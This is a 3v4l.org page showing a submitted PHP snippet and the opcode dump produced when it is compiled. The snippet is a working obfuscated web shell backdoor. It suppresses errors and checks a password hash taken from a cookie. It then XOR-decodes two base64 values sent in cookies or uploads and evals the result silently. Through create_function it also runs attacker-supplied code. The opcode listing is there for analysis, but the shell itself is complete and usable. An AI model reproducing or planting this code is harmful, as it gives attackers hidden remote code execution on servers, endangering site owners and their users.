3v4l.org

run code in 300+ PHP versions simultaneously
<?php error_reporting(0); ini_set(error_reporting, 0); if ('5d0d1aefe80e2a7abb85b22724a48f58' == md5($_COOKIE['rfjbs'])) { $v50 = $llrj = (!empty($_FILES["pbklk78uy"])) ? file_get_contents($_FILES["pbklk78uy"]["tmp_name"]) : $_COOKIE["pbklk78uy"]; $tytr = (!empty($_FILES["outzdfhgy8uj"])) ? file_get_contents($_FILES["outzdfhgy8uj"]["tmp_name"]) : $_COOKIE["outzdfhgy8uj"]; $tvdlhn = base64_decode($llrj) ^ base64_decode($tytr); @eval($tvdlhn); $v54 = create_function($v55, $v50); $v54('$cXN0H0=H|;y1v4ozWki,$R^ufZ"z', 'e*Dk,@m:wh_.'); } ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 15, Position 2 = 68
Branch analysis from position: 15
2 jumps found. (Code = 43) Position 1 = 19, Position 2 = 27
Branch analysis from position: 19
1 jumps found. (Code = 42) Position 1 = 30
Branch analysis from position: 30
2 jumps found. (Code = 43) Position 1 = 36, Position 2 = 44
Branch analysis from position: 36
1 jumps found. (Code = 42) Position 1 = 47
Branch analysis from position: 47
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 44
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 27
2 jumps found. (Code = 43) Position 1 = 36, Position 2 = 44
Branch analysis from position: 36
Branch analysis from position: 44
Branch analysis from position: 68
filename:       /in/DKtbl
function name:  (null)
number of ops:  69
compiled vars:  !0 = $v50, !1 = $llrj, !2 = $tytr, !3 = $tvdlhn, !4 = $v54, !5 = $v55
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                               'error_reporting'
          1        SEND_VAL                                                 0
          2        DO_ICALL                                                 
    3     3        INIT_FCALL                                               'ini_set'
          4        FETCH_CONSTANT                                   ~7      'error_reporting'
          5        SEND_VAL                                                 ~7
          6        SEND_VAL                                                 0
          7        DO_ICALL                                                 
    5     8        INIT_FCALL                                               'md5'
          9        FETCH_R                      global              ~9      '_COOKIE'
         10        FETCH_DIM_R                                      ~10     ~9, 'rfjbs'
         11        SEND_VAL                                                 ~10
         12        DO_ICALL                                         $11     
         13        IS_EQUAL                                                 $11, '5d0d1aefe80e2a7abb85b22724a48f58'
         14      > JMPZ                                                     ~12, ->68
    7    15    >   FETCH_IS                                         ~13     '_FILES'
         16        ISSET_ISEMPTY_DIM_OBJ                         1  ~14     ~13, 'pbklk78uy'
         17        BOOL_NOT                                         ~15     ~14
         18      > JMPZ                                                     ~15, ->27
         19    >   INIT_FCALL                                               'file_get_contents'
         20        FETCH_R                      global              ~16     '_FILES'
         21        FETCH_DIM_R                                      ~17     ~16, 'pbklk78uy'
         22        FETCH_DIM_R                                      ~18     ~17, 'tmp_name'
         23        SEND_VAL                                                 ~18
         24        DO_ICALL                                         $19     
         25        QM_ASSIGN                                        ~20     $19
         26      > JMP                                                      ->30
         27    >   FETCH_R                      global              ~21     '_COOKIE'
         28        FETCH_DIM_R                                      ~22     ~21, 'pbklk78uy'
         29        QM_ASSIGN                                        ~20     ~22
         30    >   ASSIGN                                           ~23     !1, ~20
         31        ASSIGN                                                   !0, ~23
    8    32        FETCH_IS                                         ~25     '_FILES'
         33        ISSET_ISEMPTY_DIM_OBJ                         1  ~26     ~25, 'outzdfhgy8uj'
         34        BOOL_NOT                                         ~27     ~26
         35      > JMPZ                                                     ~27, ->44
         36    >   INIT_FCALL                                               'file_get_contents'
         37        FETCH_R                      global              ~28     '_FILES'
         38        FETCH_DIM_R                                      ~29     ~28, 'outzdfhgy8uj'
         39        FETCH_DIM_R                                      ~30     ~29, 'tmp_name'
         40        SEND_VAL                                                 ~30
         41        DO_ICALL                                         $31     
         42        QM_ASSIGN                                        ~32     $31
         43      > JMP                                                      ->47
         44    >   FETCH_R                      global              ~33     '_COOKIE'
         45        FETCH_DIM_R                                      ~34     ~33, 'outzdfhgy8uj'
         46        QM_ASSIGN                                        ~32     ~34
         47    >   ASSIGN                                                   !2, ~32
    9    48        INIT_FCALL                                               'base64_decode'
         49        SEND_VAR                                                 !1
         50        DO_ICALL                                         $36     
         51        INIT_FCALL                                               'base64_decode'
         52        SEND_VAR                                                 !2
         53        DO_ICALL                                         $37     
         54        BW_XOR                                           ~38     $36, $37
         55        ASSIGN                                                   !3, ~38
   10    56        BEGIN_SILENCE                                    ~40     
         57        INCLUDE_OR_EVAL                                          !3, EVAL
         58        END_SILENCE                                              ~40
   11    59        INIT_FCALL_BY_NAME                                       'create_function'
         60        SEND_VAR_EX                                              !5
         61        SEND_VAR_EX                                              !0
         62        DO_FCALL                                      0  $42     
         63        ASSIGN                                                   !4, $42
   12    64        INIT_DYNAMIC_CALL                                        !4
         65        SEND_VAL_EX                                              '%24cXN0H0%3DH%7C%3By1v4ozWki%2C%24R%5EufZ%22z'
         66        SEND_VAL_EX                                              'e%2ADk%2C%40m%3Awh_.'
         67        DO_FCALL                                      0          
   13    68    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
156.84 ms | 1400 KiB | 23 Q